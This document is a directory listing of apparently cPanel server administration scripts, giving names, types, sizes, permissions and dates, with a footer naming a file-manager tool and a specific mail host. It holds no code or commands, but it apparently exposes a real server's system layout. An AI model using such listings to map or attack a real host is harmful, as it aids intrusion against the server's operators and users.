2024-03-04 05:44:29
pedquota
text/x-perl
2.26 KB
-rwxr-xr-x
2024-03-04 05:44:29
perform_sqlite_auto_rebuild_db_maintenance
text/x-perl
1.98 KB
-rwxr-xr-x
2025-04-15 10:57:21
perlinstaller
text/x-perl
528 B
-rwxr-xr-x
2024-03-04 05:44:29
perlmods
text/x-perl
1.18 KB
-rwxr-xr-x
2024-03-04 05:44:29
php_fpm_config
text/x-perl
9.73 KB
-rwxr-xr-x
2024-03-04 05:44:29
phpini_tidy
text/x-perl
687 B
-rwxr-xr-x
2024-03-04 05:44:29
pkgacct
text/x-perl
88.03 KB
-rwxr-xr-x
2024-11-19 10:57:15
post_snapshot
text/x-perl
2.09 KB
-rwxr-xr-x
2024-08-22 10:57:19
post_sync_cleanup
text/x-perl
6.09 KB
-rwxr-xr-x
2024-03-04 05:44:29
postupcp
text/x-shellscript
107 B
-rwxr-xr-x
2025-07-01 10:57:21
primary_virtual_host_migration
text/x-perl
2.44 KB
-rwxr-xr-x
2024-03-04 05:44:29
process_pending_cpanel_php_pear_registration
text/x-perl
2.73 KB
-rwxr-xr-x
2025-06-09 10:57:22
process_site_templates
text/x-perl
7.27 KB
-rwxr-xr-x
2024-03-04 05:44:29
proxydomains
text/x-perl
9.64 KB
-rwxr-xr-x
2025-06-09 10:57:30
ptycheck
text/x-perl
724 B
-rwxr-xr-x
2024-03-04 05:44:29
purge_modsec_log
text/x-perl
1.53 KB
-rwxr-xr-x
2024-03-04 05:44:29
purge_old_config_caches
text/x-perl
2.08 KB
-rwxr-xr-x
2024-03-04 05:44:29
pwck
text/x-perl
708 B
-rwxr-xr-x
2024-03-04 05:44:29
quickdnslookup
text/x-perl
1.13 KB
-rwxr-xr-x
2024-03-04 05:44:29
quickwhoisips
text/x-perl
2.29 KB
-rwxr-xr-x
2024-03-04 05:44:29
quota_auto_fix
text/x-perl
1.41 KB
-rwxr-xr-x
2024-03-04 05:44:29
quotacheck
text/x-perl
22.36 KB
-rwxr-xr-x
2024-03-04 05:44:29
rawchpass
text/x-perl
460 B
-rwxr-xr-x
2024-03-04 05:44:29
rdate
text/x-perl
4.8 KB
-rwxr-xr-x
2024-03-04 05:44:29
realadduser
text/x-perl
5.61 KB
-rwxr-xr-x
2024-03-04 05:44:29
realchpass
text/x-perl
3.26 KB
-rwxr-xr-x
2024-03-04 05:44:29
realperlinstaller
text/x-perl
5.67 KB
-rwxr-xr-x
2024-03-04 05:44:29
realrawchpass
text/x-perl
425 B
-rwxr-xr-x
2024-03-04 05:44:29
rebuild_available_addons_packages_cache
text/x-perl
1.27 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuild_available_rpm_addons_cache
text/x-perl
1.27 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuild_bandwidthdb_root_cache
text/x-perl
1.45 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuild_dbmap
text/x-perl
5.8 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuild_provider_openid_connect_links_db
text/x-perl
1.01 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuild_whm_chrome
text/x-perl
2.22 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuilddnsconfig
text/x-perl
25.5 KB
-rwxr-xr-x
2025-06-09 10:57:25
rebuildhttpdconf
text/x-perl
2.6 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuildinstalledssldb
text/x-perl
2.85 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuildippool
text/x-perl
509 B
-rwxr-xr-x
2024-03-04 05:44:29
rebuilduserssldb
text/x-perl
948 B
-rwxr-xr-x
2024-03-04 05:44:29
refresh-dkim-validity-cache
text/x-perl
5.97 KB
-rwxr-xr-x
2024-03-04 05:44:29
regenerate_tokens
text/x-perl
2.18 KB
-rwxr-xr-x
2024-03-04 05:44:29
remote_log_transfer
text/x-perl
11.6 KB
-rwxr-xr-x
2024-03-04 05:44:29
remove_dovecot_index_files
text/x-perl
5.89 KB
-rwxr-xr-x
2024-03-04 05:44:29
removeacct
26.37 MB
-rwx------
2025-10-16 10:57:40
rescan_user_dovecot_fts
text/x-perl
2.98 KB
-rwxr-xr-x
2024-03-04 05:44:29
reset_mail_quotas_to_sane_values
text/x-perl
6.82 KB
-rwxr-xr-x
2024-03-04 05:44:29
resetmailmanurls
text/x-perl
2.03 KB
-rwxr-xr-x
2024-03-04 05:44:29
resetquotas
text/x-perl
4.61 KB
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv
text/x-perl
3.19 KB
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_apache
text/x-perl
422 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_apache_php_fpm
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_base
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_bind
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_chkservd
text/x-perl
427 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_clamd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cpanel_php_fpm
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cpanellogd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cpdavd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cpgreylistd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cphulkd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cpipv6
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cpsrvd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_crond
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_dnsadmin
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_dovecot
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_exim
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_eximstats
text/x-perl
504 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_ftpd
text/x-perl
426 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_ftpserver
text/x-perl
911 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_httpd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_imap
text/x-perl
437 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_inetd
text/x-perl
2.47 KB
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_ipaliases
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_lmtp
text/x-perl
437 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_mailman
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_mysql
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_named
text/x-perl
579 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_nscd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_p0f
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_pdns
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_pop3
text/x-perl
437 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_postgres
text/x-perl
427 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_postgresql
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_powerdns
text/x-perl
442 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_proftpd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_pureftpd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_queueprocd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_rsyslog
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_rsyslogd
text/x-perl
437 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_spamd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_sshd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_syslogd
text/x-perl
2.4 KB
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_tailwatchd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_unknown
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_xinetd
text/x-perl
422 B
-rwxr-xr-x
2024-03-04 05:44:29
restorecpuserfromcache
text/x-perl
1.96 KB
-rwxr-xr-x
2024-03-04 05:44:29
restorepkg
44.36 MB
-rwx------
2025-10-16 10:57:45
rfc1912_zones.tar
application/x-tar
10 KB
-rw-r--r--
2024-03-04 05:44:29
rpmup
text/x-perl
5.07 KB
-rwxr-xr-x
2024-03-04 05:44:29
rsync-user-homedir.pl
text/x-perl
5.76 KB
-rwxr-xr-x
2024-03-04 05:44:29
run_if_exists
text/x-shellscript
512 B
-rwxr-xr-x
2024-03-04 05:44:29
run_plugin_lifecycle
3.53 KB
-rwx------
2025-08-26 09:44:38
runstatsonce
text/x-shellscript
440 B
-rwxr-xr-x
2024-03-04 05:44:29
runweblogs
text/x-perl
1.02 KB
-rwxr-xr-x
2024-03-04 05:44:29
sa-update_wrapper
text/x-perl
3.34 KB
-rwxr-xr-x
2024-03-04 05:44:29
safetybits.pl
text/x-perl
844 B
-rwxr-xr-x
2024-03-04 05:44:29
secureit
text/x-perl
4.72 KB
-rwxr-xr-x
2024-03-04 05:44:29
securemysql
text/x-perl
4.4 KB
-rwxr-xr-x
2024-06-24 10:57:19
securerailsapps
text/x-perl
3.58 KB
-rwxr-xr-x
2024-03-04 05:44:29
securetmp
text/x-perl
16.76 KB
-rwxr-xr-x
2025-08-07 10:57:28
sendicq
text/x-perl
474 B
-rwxr-xr-x
2024-03-04 05:44:29
servicedomains
text/x-perl
9.64 KB
-rwxr-xr-x
2025-06-09 10:57:30
set_mailman_archive_perms
text/x-perl
1.75 KB
-rwxr-xr-x
2024-03-04 05:44:29
setpostgresconfig
text/x-perl
6.04 KB
-rwxr-xr-x
2024-03-04 05:44:29
setup_greylist_db
text/x-perl
16.19 KB
-rwxr-xr-x
2024-03-04 05:44:29
setup_modsec_db
text/x-perl
1.3 KB
-rwxr-xr-x
2024-03-04 05:44:29
setup_systemd_timer_for_plugins
3.92 KB
-rwx------
2025-08-26 09:44:38
setupftpserver
text/x-perl
10.47 KB
-rwxr-xr-x
2024-03-04 05:44:29
setupmailserver
text/x-perl
9.39 KB
-rwxr-xr-x
2025-06-09 10:57:28
setupnameserver
text/x-perl
12.52 KB
-rwxr-xr-x
2024-08-22 10:57:34
shrink_modsec_ip_database
text/x-perl
12.97 KB
-rwxr-xr-x
2024-03-04 05:44:29
simpleps
text/x-perl
3.05 KB
-rwxr-xr-x
2024-03-04 05:44:29
slurp_exim_mainlog
text/x-perl
5.78 KB
-rwxr-xr-x
2024-03-04 05:44:29
smartcheck
text/x-perl
15.13 KB
-rwxr-xr-x
2025-06-09 10:57:20
smtpmailgidonly
text/x-perl
8.15 KB
-rwxr-xr-x
2024-03-04 05:44:29
snapshot_prep
text/x-perl
5.88 KB
-rwxr-xr-x
2024-08-22 10:57:37
spamassassin_dbm_cleaner
text/x-perl
5.85 KB
-rwxr-xr-x
2024-03-04 05:44:29
spamassassindisable
text/x-perl
3.74 KB
-rwxr-xr-x
2024-03-04 05:44:29
spamboxdisable
text/x-perl
2.27 KB
-rwxr-xr-x
2024-03-04 05:44:29
sshcontrol
text/x-perl
14.38 KB
-rwxr-xr-x
2024-03-04 05:44:29
ssl_crt_status
text/x-perl
3.84 KB
-rwxr-xr-x
2024-03-04 05:44:29
suspendacct
text/x-perl
18.01 KB
-rwxr-xr-x
2024-03-04 05:44:29
suspendmysqlusers
text/x-perl
4.78 KB
-rwxr-xr-x
2024-03-04 05:44:29
swapip
text/x-perl
3.82 KB
-rwxr-xr-x
2024-03-04 05:44:29
sync-mysql-users-from-grants
text/x-perl
1.2 KB
-rwxr-xr-x
2024-03-04 05:44:29
sync_child_accounts
text/x-perl
1.77 KB
-rwxr-xr-x
2024-03-04 05:44:29
sync_contact_emails_to_cpanel_users_files
text/x-perl
1.14 KB
-rwxr-xr-x
2024-03-04 05:44:29
synccpaddonswithsqlhost
text/x-perl
6.59 KB
-rwxr-xr-x
2024-03-04 05:44:29
synctransfers
text/x-perl
1.92 KB
-rwxr-xr-x
2024-03-04 05:44:29
syslog_check
text/x-perl
1.36 KB
-rwxr-xr-x
2024-03-04 05:44:29
sysup
text/x-perl
645 B
-rwxr-xr-x
2024-03-04 05:44:29
test_sa_compiled
text/x-perl
1.07 KB
-rwxr-xr-x
2024-03-04 05:44:29
transfer_account_as_user
text/x-perl
2.34 KB
-rwxr-xr-x
2024-03-04 05:44:29
transfer_accounts_as_root
text/x-perl
4.76 KB
-rwxr-xr-x
2024-03-04 05:44:29
transfer_in_progress
text/x-perl
3.08 KB
-rwxr-xr-x
2024-03-04 05:44:29
transfer_in_progress.pod
text/plain
312 B
-rw-r--r--
2024-03-04 05:44:29
transfermysqlusers
9.84 MB
-rwx------
2025-10-16 10:57:32
try-later
text/x-perl
7.95 KB
-rwxr-xr-x
2024-03-04 05:44:29
unblockip
text/x-perl
667 B
-rwxr-xr-x
2024-03-04 05:44:29
uninstall_cpanel_analytics
text/x-perl
1.2 KB
-rwxr-xr-x
2024-03-04 05:44:29
uninstall_dovecot_fts
text/x-perl
562 B
-rwxr-xr-x
2024-03-04 05:44:29
uninstall_plugin
text/x-perl
2.84 KB
-rwxr-xr-x
2024-03-04 05:44:29
unlink_service_account
text/x-perl
2.62 KB
-rwxr-xr-x
2024-03-04 05:44:29
unpkgacct
text/x-perl
4.6 KB
-rwxr-xr-x
2024-03-04 05:44:29
unslavenamedconf
text/x-perl
863 B
-rwxr-xr-x
2024-03-04 05:44:29
unsuspendacct
text/x-perl
17.8 KB
-rwxr-xr-x
2024-03-04 05:44:29
unsuspendmysqlusers
text/x-perl
7.1 KB
-rwxr-xr-x
2024-03-04 05:44:29
upcp
text/x-perl
31.97 KB
-rwxr-xr-x
2024-11-19 10:57:19
upcp-running
text/x-perl
2.7 KB
-rwxr-xr-x
2024-03-04 05:44:29
upcp.static
text/x-perl
721.63 KB
-rwxr-xr-x
2025-10-16 10:57:47
update-packages
text/x-perl
5.07 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_apachectl
text/x-perl
480 B
-rwxr-xr-x
2024-03-04 05:44:29
update_db_cache
text/x-perl
430 B
-rwxr-xr-x
2024-03-04 05:44:29
update_dkim_keys
text/x-perl
1.45 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_exim_rejects
text/x-perl
1.21 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_existing_mail_quotas_for_account
text/x-perl
4.78 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_feature_flags
text/x-perl
957 B
-rwxr-xr-x
2024-03-04 05:44:29
update_freebusy_data
text/x-perl
5.25 KB
-rwxr-xr-x
2025-06-09 10:57:17
update_known_proxy_ips
text/x-perl
1002 B
-rwxr-xr-x
2024-03-04 05:44:29
update_local_rpm_versions
text/x-perl
4.56 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_mailman_cache
text/x-perl
8.34 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_mysql_systemd_config
text/x-perl
1.07 KB
-rwxr-xr-x
2025-06-09 10:57:31
update_neighbor_netblocks
text/x-perl
487 B
-rwxr-xr-x
2024-03-04 05:44:29
update_sa_config
text/x-perl
2.14 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_spamassassin_config
text/x-perl
10.73 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_users_jail
text/x-perl
691 B
-rwxr-xr-x
2024-03-04 05:44:29
update_users_vhosts
text/x-perl
801 B
-rwxr-xr-x
2024-03-04 05:44:29
updatedomainips
text/x-perl
605 B
-rwxr-xr-x
2024-03-04 05:44:29
updatenameserverips
text/x-perl
1.66 KB
-rwxr-xr-x
2024-03-04 05:44:29
updatenow
text/x-perl
5.18 KB
-rwxr-xr-x
2024-03-04 05:44:29
updatenow.static
text/x-perl
2.02 MB
-rwxr-xr-x
2025-10-16 10:57:32
updatesigningkey
text/x-perl
1.95 KB
-rwxr-xr-x
2024-03-04 05:44:29
updatessldomains
text/x-perl
1.81 KB
-rwxr-xr-x
2024-03-04 05:44:29
updatesupportauthorizations
text/x-perl
2.49 KB
-rwxr-xr-x
2024-03-04 05:44:29
updateuserdatacache
text/x-perl
2.47 KB
-rwxr-xr-x
2024-03-04 05:44:29
updateuserdomains
text/x-perl
774 B
-rwxr-xr-x
2024-03-04 05:44:29
upgrade_bandwidth_dbs
text/x-perl
2.22 KB
-rwxr-xr-x
2024-03-04 05:44:29
upgrade_subaccount_databases
text/x-perl
2.73 KB
-rwxr-xr-x
2024-03-04 05:44:29
userdata_wildcard_cleanup
text/x-perl
5.74 KB
-rwxr-xr-x
2024-03-04 05:44:29
userdirctl
text/x-perl
5.01 KB
-rwxr-xr-x
2024-03-04 05:44:29
validate_sshkey_passphrase
text/x-perl
1.21 KB
-rwxr-xr-x
2024-03-04 05:44:29
verify_api_spec_files
text/x-perl
757 B
-rwxr-xr-x
2024-03-04 05:44:29
verify_pidfile
text/x-perl
1.96 KB
-rwxr-xr-x
2024-03-04 05:44:29
verify_vhost_includes
text/x-perl
7.34 KB
-rwxr-xr-x
2024-03-04 05:44:29
vps_optimizer
text/x-perl
7.82 KB
-rwxr-xr-x
2024-03-04 05:44:29
vzzo-fixer
text/x-perl
725 B
-rwxr-xr-x
2024-03-04 05:44:29
whmlogin
text/x-perl
2.33 KB
-rwxr-xr-x
2024-03-04 05:44:29
whoowns
text/x-perl
1.13 KB
-rwxr-xr-x
2024-03-04 05:44:29
wwwacct
27.78 MB
-rwx------
2025-10-16 10:57:28
wwwacct2
text/x-perl
88 B
-rwxr-xr-x
2024-03-04 05:44:29
xfer_rcube_schema_migrate.pl
text/x-perl
2.4 KB
-rwxr-xr-x
2024-03-04 05:44:29
xfer_rcube_uid_resolver.pl
text/x-perl
1.8 KB
-rwxr-xr-x
2024-03-04 05:44:29
xferpoint
text/x-perl
3.13 KB
-rwxr-xr-x
2024-03-04 05:44:29
xfertool
text/x-perl
16.23 KB
-rwxr-xr-x
2024-03-04 05:44:29
zoneexists
text/x-perl
800 B
-rwxr-xr-x
2024-03-04 05:44:29
~ ACUPOFTEA - mail.ontime-ae.com